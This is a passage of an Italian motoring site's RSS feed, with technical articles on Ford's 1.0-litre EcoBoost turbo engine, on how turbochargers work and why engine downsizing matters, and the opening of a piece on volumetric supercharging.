<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91151" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2957.jpg" alt="Ferrari 641 F1 2957" class="wp-image-91151" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 728" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2957.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2957-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2957-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2957-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 760</figcaption></figure>
</figure>
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		<title>Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente</title>
		<link>https://www.giornalemotori.com/2020/03/13/engine-ford-ecoboost/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=engine-ford-ecoboost</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 13 Mar 2020 05:00:01 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La Ford nel 2012 ha introdotto nella sua gamma di motori un interessante 1.0 litri turbo. Si tratta di un motore a tre cilindri in linea il più piccolo della serie EcoBoost.</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Ford EcoBoost 1.0 litri turbo, uno dei motori più interessanti della sua categoria. Si tratta di un tre cilindri, con potenza che varia da 100 a 125CV per un valore di coppia pari a 170 Nm disponibili già dai 1.400 rimanendo costante fino a quota 4.500 giri/min.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">La cilindrata di 998cm3 è ottenuta mediante un alesaggio da 71,9 x 82 <span class="text-info">millimetri</span> di corsa con un rapporto di compressione di 10:1, particolarmente alto per un motore turbo. Il turbocompressore con intercooler è un Continental a bassa inerzia un grado di girare a 248.000 giri al minuto. Quando si richiede la massima potenza il valore di coppia può raggiungere un picco di 200 Nm, grazie alla funzione Boost.</p>



<p class="wp-block-paragraph">Nonostante sia un motore tra i più moderni,&nbsp; il monoblocco resta di ghisa al posto del più leggero alluminio. La scelta di tale materiale permette un raggiungimento più tempestivo delle temperatura di funzionamento. Un vantaggio netto in termini di emissioni inferiori nelle fasi di startup.&nbsp; La testa invece è di alluminio.</p>



<p class="wp-block-paragraph">Per ridurre uno dei problemi che affliggono i motori a tre cilindri,&nbsp; quello delle vibrazioni, I tecnici Ford hanno previsto uno sbilanciamento intenzionale del volano motore. Questa soluzione permette di contrastare le vibrazioni tipiche di questo tipo di motori evitando dispendiosi e complessi contralberi di equilibratura.</p>



<p class="wp-block-paragraph">Particolare attenzione è stata riservata alla cura dei componenti come pistoni&nbsp; dotati di uno speciale rivestimento. Le fasce elastiche sono a bassa tensione e paraoli a frizione ridotta. Infine, la cinghia di distribuzione è a bagno d’olio con pompa dell’olio è a flusso variabile. Una soluzione che incrementa ulteriormente l’efficienza adeguando la portata a seconda delle condizioni di lavoro del motore.</p>



<p class="wp-block-paragraph">&nbsp;Il collettore di scarico è stato integrato nella testa per ridurre la temperatura dei gas migliorando l’efficienza della combustione grazie all&#8217;ottimizzazione del rapporto stechiometrico della miscela magra. Inoltre, velocizzando il processo di espulsione dei gas di scarico si consente alla Turbina di ridurre l&#8217;inerzia ed il ritardo del Turbo</p>



<p class="wp-block-paragraph">Il piccolo 1.0 litri Ecoboost ha dimensioni compatte con la lunghezza complessiva di 280mm. L&#8217;iniezione è diretta, con fasatura variabile sia all&#8217;aspirazione che allo scarico. Il riempimento del cilindro e la successiva fase di combustione sono stati ottimizzati per garantire una erogazione della coppia fluida.&nbsp; Il risultato è una curva di coppia disponibile vicino al suo massimo per un regime più ampio.&nbsp; L&#8217;apertura contemporanea delle valvole di aspirazione e di scarico in modo differenziato variano le fasi di incrocio consentendo di sfruttare la maggiore polverizzazione del carburante tipica delle miscele magre.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="300" height="225" src="https://www.giornalemotori.com/wp-content/uploads//2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg-1.jpg" alt="014044 uk developed high tech ford 1 0 litre ecoboost engine.1 lg 1" class="wp-image-91065" title="Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 761" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg-1.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg-1-265x198.jpg 265w" sizes="(max-width: 300px) 100vw, 300px" /></figure>
</div>


<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Una serie di iniezioni multiple per ogni ciclo di combustione varia a seconda delle necessità di utilizzo permettendo di sfruttare le miscele magre a carichi parziali, ma anche di arricchire la miscela per ottenere potenze superiori a 100cv/litro per la massima prestazione.&nbsp; Un piccolo propulsore che garantisce prestazioni ma soprattutto valori di coppia maggiori rispetto ad un analogo motore da 1.6 litri aspirato.</p>



<p class="wp-block-paragraph">Si ottengono valori di coppia e consumo specifico in grado di rivaleggiare anche con motori turbodiesel di pari potenza. Le caratteristiche di versatilità del 1.0 Litri EcoBoost lo rendo particolarmente adatto alle vetture di piccola taglia ma anche ad auto di classe superiore.&nbsp; In più la sua ultima evoluzione prevede funzioni come la disattivazione di uno dei tre cilindri per ridurre ulteriormente l&#8217;uso di carburante.</p>



<p class="wp-block-paragraph">Il gioiellino di Ford nella sua variane 1.0 litri a tre cilindri turbo, continua a collezionare premi, nonostante il passare degli anni.&nbsp; Un propulsore nato bene che continua ad evolversi migliorando le sue caratteristiche adeguandosi di volta in volta alle nuove norme sempre più stringenti. La sua natura compatta e versatile,&nbsp; lo rendono anche particolarmente adatto adottare sistemi di propulsione Mild Hybrid come la recente Ford Puma, diventando un buon supporto per sistemi ibridi più complessi per la futura produzione della casa americana.</p>



<figure class="wp-block-gallery has-nested-images columns-3 is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="845" data-id="61814" src="https://www.giornalemotori.com/wp-content/uploads//2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg.jpg" alt="014044 uk developed high tech ford 1 0 litre ecoboost engine.1 lg" class="wp-image-61814" title="Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 762" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg-768x634.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg-300x248.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2016/08/014044-uk-developed-high-tech-ford-1-0-litre-ecoboost-engine.1-lg-696x574.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 767</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="508" height="508" data-id="61815" src="https://www.giornalemotori.com/wp-content/uploads//2016/08/ford_ecoboost-1.jpg" alt="ford ecoboost 1" class="wp-image-61815" title="Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 763" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/08/ford_ecoboost-1.jpg 508w, https://www.giornalemotori.com/wp-content/uploads/2016/08/ford_ecoboost-1-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2016/08/ford_ecoboost-1-300x300.jpg 300w" sizes="(max-width: 508px) 100vw, 508px" /><figcaption>Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 768</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="728" height="546" data-id="61816" src="https://www.giornalemotori.com/wp-content/uploads//2016/08/ford-focus-1-l-ecoboost-presentation-22-728-1.jpg" alt="ford focus 1 l ecoboost presentation 22 728 1" class="wp-image-61816" title="Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 764" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/08/ford-focus-1-l-ecoboost-presentation-22-728-1.jpg 728w, https://www.giornalemotori.com/wp-content/uploads/2016/08/ford-focus-1-l-ecoboost-presentation-22-728-1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2016/08/ford-focus-1-l-ecoboost-presentation-22-728-1-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2016/08/ford-focus-1-l-ecoboost-presentation-22-728-1-265x198.jpg 265w" sizes="(max-width: 728px) 100vw, 728px" /><figcaption>Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 769</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="422" height="750" data-id="61817" src="https://www.giornalemotori.com/wp-content/uploads//2016/08/image.thumb_.png.6c99849400d7bec1d5ecc5d35e3c58be.png" alt="image.thumb .png.6c99849400d7bec1d5ecc5d35e3c58be" class="wp-image-61817" title="Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 765" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/08/image.thumb_.png.6c99849400d7bec1d5ecc5d35e3c58be.png 422w, https://www.giornalemotori.com/wp-content/uploads/2016/08/image.thumb_.png.6c99849400d7bec1d5ecc5d35e3c58be-300x533.png 300w" sizes="(max-width: 422px) 100vw, 422px" /><figcaption>Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 770</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="595" height="335" data-id="61818" src="https://www.giornalemotori.com/wp-content/uploads//2016/08/web-10be-ford-fiesta.jpg" alt="web 10be ford fiesta" class="wp-image-61818" title="Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 766" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/08/web-10be-ford-fiesta.jpg 595w, https://www.giornalemotori.com/wp-content/uploads/2016/08/web-10be-ford-fiesta-300x169.jpg 300w" sizes="(max-width: 595px) 100vw, 595px" /><figcaption>Best Engine, Ford 1.0 litri Turbo EcoBoost, compatto ed efficiente 771</figcaption></figure>
</figure>



<p class="wp-block-paragraph">&nbsp;</p>
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		<title>I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 05 Sep 2019 19:26:42 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La parte quarta della nostra trattazione dei sistemi che salveranno il motore endotermico per i prossimi anni, passa ancora una volta per la sovralimentazione. In questo caso,&#160; una volta trattata la sovralimentazione volumetrica, passiamo a capire come i motori moderni saranno più efficienti e più potenti mediante la sovralimentazione con Turbo. Lo scopo non è [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">La parte quarta della nostra trattazione dei sistemi che salveranno il motore endotermico per i prossimi anni, passa ancora una volta per la sovralimentazione. In questo caso,&nbsp; una volta trattata la sovralimentazione volumetrica, passiamo a capire come i motori moderni saranno più efficienti e più potenti mediante la sovralimentazione con Turbo.</p>



<p class="wp-block-paragraph">Lo scopo non è tanto quello di smontare un turbo e spiegare all&#8217;appassionato ogni singola parte e la sua funzione, non sarebbe possibile con una singola trattazione, ma quanto far comprendere come questa soluzione tecnica sia polivalente, ma soprattutto rappresenti la strada obbligata per la sopravvivenza del motore endotermico negli anni a venire.</p>



<p class="wp-block-paragraph">L&#8217;obiettivo di tutti i tecnici è lo sviluppo della coppia motrice, fondamentale per ottenere potenza. Un grosso valore di coppia nella zona bassa dei giri migliora i consumi e consente di usare meno il cambio per le variazioni di velocità del veicolo. Si dice che il motore è più elastico.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="800" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/forced-induction-torque-curve-graph.jpg" alt="forced induction torque curve graph" class="wp-image-85266" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 772" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/09/forced-induction-torque-curve-graph.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2019/09/forced-induction-torque-curve-graph-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2019/09/forced-induction-torque-curve-graph-768x768.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/09/forced-induction-torque-curve-graph-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/09/forced-induction-torque-curve-graph-696x696.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /></figure>
</div>


<p class="wp-block-paragraph">Sviluppare coppia nella parte alta dei giri, si ottiene quello che si dice un buon allungo con un erogazione di potenza consistente in grado di spingere anche rapporti superiori più lunghi con conseguente miglioramento dei consumi.</p>



<p class="wp-block-paragraph">Quindi aumentare la capacità volumetrica del motore e la densità dell&#8217;aria aspirata, migliora nettamente anche l&#8217;efficienza complessiva del motore. In sostanza, usare un turbo non è un vezzo dell&#8217;ingegneria moderna ma una reale necessità per restare nei difficili parametri delle normative moderne per il controllo delle emissioni.</p>



<p class="wp-block-paragraph">Ovviamente l&#8217;uso della sovalimentazione non è uguale per i Diesel o Ciclo Otto. I motori a gasolio aspirati hanno una maggiore efficienza ma a parità di cilindrata non genera la stessa potenza di un analogo motore benzina. Inoltre con il passare degli anni, si è dovuto ridurre la fumosità allo scarico e la conseguente generazione di polveri sottili. Una maggiore densità dell&#8217;aria limita di fatto la formazione di fumo e di Nox.</p>


<div class="wp-block-image size-full wp-image-85267">
<figure class="aligncenter"><img decoding="async" width="550" height="350" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/6a00d8341c4fbe53ef0240a47a9b67200d-550wi.jpg" alt="6a00d8341c4fbe53ef0240a47a9b67200d 550wi" class="wp-image-85267" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 773" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/09/6a00d8341c4fbe53ef0240a47a9b67200d-550wi.jpg 550w, https://www.giornalemotori.com/wp-content/uploads/2019/09/6a00d8341c4fbe53ef0240a47a9b67200d-550wi-300x191.jpg 300w" sizes="(max-width: 550px) 100vw, 550px" /><figcaption class="wp-element-caption">Motore Audi 3.0 litri V6 TDI</figcaption></figure>
</div>


<p class="wp-block-paragraph">Sfruttando la naturale accensione spontanea della miscela aria combustibile una maggiore massa e densità d&#8217;aria consente un migliore sfruttamento della multi-iniezione di miscela diretta di gasolio e la sua nebulizzazione. Infine i diesel sono naturalmente più costosi rispetto ad un analogo motore benzina di pari cilindrata aspirato, quindi aggiungere un componente esterno come il turbo necessita la riprogettazione di limitati elementi. Un modo più economico di otteere più potenza, tanta coppia, meno consumi e meno inquinamento.</p>



<p class="wp-block-paragraph">Discorso analogo per il Ciclo Otto ma differente nella sostanza. Infatti il turbo nasce per il motore benzina negli anni 70 spinto dalle competizioni.&nbsp; L&#8217;aumento del valore di coppia e potenza si ottiene in modo più semplice. Su un motore aspiatosi deve lavorare&nbsp; sulla capacità volumetrica naturalmente limitata cosa che porta un limitato ricavo a fronte della quantità di lavoro svolto. Basta semplicemente fare un calcolo del costo prezzo/cavallo di un motore aspirato a parità di potenza con uno Turbo per rendersi conto della differenza.</p>



<p class="wp-block-paragraph">Ovviamente non si può montare un turbo su un motore aspirato e basta. Si devono considerare i fenomeni del battito in testa dovuta alla eccessiva temperatura di combustione. Infatti, nei motori sovralimentati si abbassa il valore del rapporto di compessione.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="598" height="520" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/How-turbocharging-works-animation-by-Tyroola.gif" alt="How turbocharging works animation by Tyroola" class="wp-image-85268" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 774"></figure>
</div>


<p class="wp-block-paragraph">In un motore aspirato, pressione dei aspirazione è sempre meno di quella atmosferica pari 0.5 bar per arrivare a quella nominale di 1.0 bar atmosferica solo al massimo del carico. Quando viene compressa il valore minimo passa a 1.5 bar fino ad un massimo per uso stradale di 2.5 bar. Nei Diesel si può avere un valore di pressione iniziale di 1.0 bar mentre il massimo rimane analogo ai Ciclo Otto.</p>



<p class="wp-block-paragraph">&nbsp;Quindi,&nbsp; in un motore che ha una pressione atmosferica al massimo carico di 1.0 bar sommando la sovra-pressione derivata dal turbo di 1.5 bar, arriva ad una pressione assoluta di 2.5 bar.</p>



<p class="wp-block-paragraph">Nel dettaglio, il turbocompressore e formato da una turbina che viene mossa dall&#8217;energia del flusso dei gas di scarico. Quindi sono uniti termodinamicamente.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="1024" height="415" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/Turbocharger-shaft-compressor-turbine-wheels-and-bearings-BMTS.jpg" alt="Turbocharger shaft compressor turbine wheels and bearings BMTS" class="wp-image-85269" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 775" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-shaft-compressor-turbine-wheels-and-bearings-BMTS.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-shaft-compressor-turbine-wheels-and-bearings-BMTS-768x311.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-shaft-compressor-turbine-wheels-and-bearings-BMTS-300x122.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-shaft-compressor-turbine-wheels-and-bearings-BMTS-696x282.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="wp-block-paragraph">Il compressore e la turbina,&nbsp; di solito,&nbsp; sono collegati attraverso un albero rigido, annegato in alloggio dove si trovano cuscinetti a strisciamento o a rulli.&nbsp; Una volta completata la combustione della miscela aria benzina o aria gasolio, i gas di scarico attraversano il collettore colpendo la girante della turbina costringendola a girare.</p>



<p class="wp-block-paragraph">La girante mette in rotazione il compressore comprimendo aria prelevata dal collettore di aspirazione. Quando la pressione dell&#8217;aria aumenta,&nbsp; purtroppo, si verifica anche l&#8217;aumento della temperatura. Questo fenomeno è particolarmente deleterio. Più aumenta la temperatura, più diminuisce la densità vanificando lo scopo iniziale de turbo. Meno densità significa infatti meno molecole per la combustione della miscela.</p>



<p class="wp-block-paragraph">Per tornare ad una densità accettabile senza perdere pressione, viene posizionato a valle del compressore un intercooler.&nbsp; Uno scambiatore di calore, aria-aria o aria-acqua, che raffredda l&#8217;aria prima che questa arrivi nella camera di combustione, riportando la densità ai valori richiesti del progettista.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="653" height="384" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/Fuel-Consumption-for-Naturally-Aspirated-vs-Turbocharged-Engine.png" alt="Fuel Consumption for Naturally Aspirated vs Turbocharged Engine" class="wp-image-85270" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 776" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/09/Fuel-Consumption-for-Naturally-Aspirated-vs-Turbocharged-Engine.png 653w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Fuel-Consumption-for-Naturally-Aspirated-vs-Turbocharged-Engine-300x176.png 300w" sizes="(max-width: 653px) 100vw, 653px" /></figure>
</div>


<p class="wp-block-paragraph">Dal punto di vista del rendimento, usare l&#8217;energia dei gas di scarico è un modo per sfruttare il lavoro prodotto da elemento, il gas di scarico,&nbsp; dotato di energia che dovrebbe essere sprecata ed immesso nell&#8217;ambiente. Invece può essere usato anche per migliorare l&#8217;emissione stessa di Co2 adottando la sovralimentazione.</p>



<p class="wp-block-paragraph">Il funzionamento prevede la girante che comprime aria con una velocità di rotazione che parte da un valore minimo per arrivare a 120.000 giri/minuto in condizioni standard, fino addirittura a 300.000 giri/minuto per i motori di serie più spinti.</p>



<p class="wp-block-paragraph">Raggiungere la velocità di rotazione ottimale comporta un certo ritardo. Questa condizione viene chiamata ritardo del turbo o più comunemente Turbo-Lag. Questo ritardo, il tanto amato calcio nella schiena, soprattutto dai giovani appassionati delle vetture anni 80 è causato dall&#8217;inerzia dell&#8217;aria e dal tempo impiegato da compressore per accelerare.</p>


<div class="wp-block-image wp-image-85271 size-large">
<figure class="aligncenter"><img decoding="async" width="1024" height="741" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/Continental-radial-axial-RAAX-turbocharger.jpg" alt="Continental radial axial RAAX turbocharger" class="wp-image-85271" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 777" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/09/Continental-radial-axial-RAAX-turbocharger.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Continental-radial-axial-RAAX-turbocharger-768x556.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Continental-radial-axial-RAAX-turbocharger-300x217.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Continental-radial-axial-RAAX-turbocharger-696x504.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">turbocompressore Continental radiale-assiale (RAAX TM ) Fonte: Continental</figcaption></figure>
</div>


<p class="wp-block-paragraph">Oggi si lavora al massimo, con buona pace degli appassionati per limitare il problema. &nbsp;Le soluzioni sono molteplici, dall&#8217;utilizzo di cuscinetti a rulli o geometria variabile per la turbina. Molte aziende lavorano anche sull&#8217;efficienza del sistema nel complesso come i Turbo EFR di BorgWarner o Raax di Continental.</p>



<p class="wp-block-paragraph">Si lavora anche su modo di sfruttare al meglio l&#8217;energia dei gas di scarico con collettori di scarico Twin Scroll e sistemi Twin Turbo, fino a sistemi ad azionamento elettrico separato per turbina e compressore. Tutte soluzioni che analizzeremo del dettaglio nelle trattazioni seguenti.</p>



<p class="wp-block-paragraph">Il controllo della pressione, fondamentela per il corretto funzionamento del Turbo avviene mediante due valvole.&nbsp; La Pop Off&nbsp; ha il compito di controllare sovraccarichi di pressione, condizione che si verifica quando si chiude l&#8217;acceleratore improvvisamente per esempio. La pressione di sovralimentazione nelle fasi di spinta viene controllata da un altra valvola la Wastegate che impedisce di fatto al turbo di superare il valore di pressione massimo per cui è progettato.</p>


<div class="wp-block-image wp-image-85272 size-large">
<figure class="aligncenter"><img decoding="async" width="1024" height="1015" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/Turbocharger-with-electric-actuated-wastegate-1024x1015.jpg" alt="Turbocharger with electric actuated wastegate" class="wp-image-85272" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 778" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-with-electric-actuated-wastegate-1024x1015.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-with-electric-actuated-wastegate-1024x1015-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-with-electric-actuated-wastegate-1024x1015-768x761.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-with-electric-actuated-wastegate-1024x1015-300x297.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/09/Turbocharger-with-electric-actuated-wastegate-1024x1015-696x690.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Turbo con Wastegate elettronica</figcaption></figure>
</div>


<p class="wp-block-paragraph">Entrambe le valvole di controllo nei turbo moderni,&nbsp; sono state sostituite da comandi a controllo elettronico, molto meglio gestibili per ottimizzare il rendimento del turbo.&nbsp; Spesso l&#8217;elettronica consente di avere un boost, ritardando di fatto l&#8217;azione della Wastegate per avere maggiore spinta per brevi momenti in cui serve più potenza.</p>



<p class="wp-block-paragraph">In conclusione, l&#8217;utilizzo della sovralimentazione mediante turbo, oggi non è solo rivolto ad un pubblico che pretende più potenza. Oggi è fondamentale per diminuire la quantità di ossidi di azoto, consumare meno a parità di cilindrata, diminuendo di fatto la quantità di Co2.</p>



<p class="wp-block-paragraph">Giusto per fare un esempio.&nbsp; Un motore 1.6 litri aspirato che eroga 110cv per un valore di coppia 151Nm, può essere sostituito da un propulsore più piccolo di 1.2 litri con analoga di coppia e potenza, ma con un valore di consumo specifico più basso del 15% in media, con un emissione di anidride carbonica analoga. Oggi tale politica è sfruttata nel bene o nel male è usata da tutti i brand.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="624" height="351" src="https://www.giornalemotori.com/wp-content/uploads//2019/09/86592096_86592095.jpg" alt="86592096 86592095" class="wp-image-85273" title="I sistemi che aiutano il motore endotermico a sopravvivere: Il Turbo 779" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/09/86592096_86592095.jpg 624w, https://www.giornalemotori.com/wp-content/uploads/2019/09/86592096_86592095-300x169.jpg 300w" sizes="(max-width: 624px) 100vw, 624px" /></figure>
</div>


<p class="wp-block-paragraph">Dalla parte degli appassionati puri, quelli che più sono inclini alle prestazioni sportive, allora, c&#8217;è anche il rovescio della medaglia.&nbsp; Prendendo ad esempio lo stesso 1.6 Litri aspirato oggi ci sono in commercio motori dalla stessa cubatura con potenze fino a 270cv!</p>



<p class="wp-block-paragraph">Tali porpulsori che conservano potenza, coppia, consumi più bassi ed erogazione paragonabile ad un bel motorone da 3.0 litri e spesso anche di un buon 4.0 litri come il 2.0 Litri AMG. Due cose non torneranno, sacrificate sull&#8217;altrare della efficienze e del controllo delle emissione. La vecchia cara erogazione di potenza, sicuramente più plafonata, più lineare, meno aggressiva di quando potessero erogare Turbo anni 80 con valori di potenza di 1/5, ed il sound.</p>



<p class="wp-block-paragraph">Spesso la riduzione di cilindrata il down sizing prevede la riduzione del numero di cilindri, con diverso funzionamento del propulsore rispetto ad un plurifrazionato ma soprattutto la rinuncia ad aspetti emotivi come il suono, problema spesso risolto con l&#8217;adozione di impianti di scarico che sostituiscono di fatto il rumore della mecccanica. Un problema annoso anche per la F1 moderna.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Le tecnologie che aiutano il motore endotermico a sopravvivere: La sovralimentazione volumetrica</title>
		<link>https://www.giornalemotori.com/2019/08/29/le-tecnologie-che-aiutano-il-motore-endotermico-a-sopravvivere-la-sovralimentazione-volumetrica/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=le-tecnologie-che-aiutano-il-motore-endotermico-a-sopravvivere-la-sovralimentazione-volumetrica</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 29 Aug 2019 07:46:35 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La terza parte della trattazione sulle tecnologie che aiuteranno il motore endotermico ad a sopravvivere per i prossimi anni, passiamo all&#8217;aiuto dato dalla sovralimentazione. Usare la compressione dell&#8217;aria mediante compressori volumetrici o impianti Turbo, o ancora entrambi, non è solo un vezzo per avere potenza bruta, ma si tratta di usare questi sistemi per ottenere [&#8230;]</p>
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<p style="text-align: justify;">La terza parte della trattazione sulle tecnologie che aiuteranno il motore endotermico ad a sopravvivere per i prossimi anni, passiamo all&#8217;aiuto dato dalla sovralimentazione.</p>
<p style="text-align: justify;">Usare la compressione dell&#8217;aria mediante compressori volumetrici o impianti Turbo, o ancora entrambi, non è solo un vezzo per avere potenza bruta, ma si tratta di usare questi sistemi per ottenere potenza intelligente. Questi sistemi consentono di abbassare di fatto le emissioni inquinanti, soprattutto gli NOx.</p>
<p style="text-align: justify;">Divideremo l&#8217;argomento in due sezioni. Nella prima prenderemo in considerazione la compressione volumetrica. Qusesta soluzione consente ai progettisti di lavorare in modo più affidabile in condizioni di miscela magra o magrissima.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-85064" src="https://www.giornalemotori.com/wp-content/uploads//2019/08/message-editor_1518021609275-01_skyactiv-x-1024x768.jpg" alt="message editor 1518021609275 01 skyactiv x" width="1024" height="768" title="Le tecnologie che aiutano il motore endotermico a sopravvivere: La sovralimentazione volumetrica 786" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/08/message-editor_1518021609275-01_skyactiv-x-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2019/08/message-editor_1518021609275-01_skyactiv-x-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/08/message-editor_1518021609275-01_skyactiv-x-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/08/message-editor_1518021609275-01_skyactiv-x-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2019/08/message-editor_1518021609275-01_skyactiv-x-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2019/08/message-editor_1518021609275-01_skyactiv-x.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Ci sono anche nuovi motori, infatti, come il Mazda Skyactiv-X che funzionano unendo le caratteristiche sia dei propulsori a benzina che diesel. In questo caso avere la compressione dell&#8217;aria in ingresso facilità il lavoro che deve compiere la miscela aria benzina.</p>
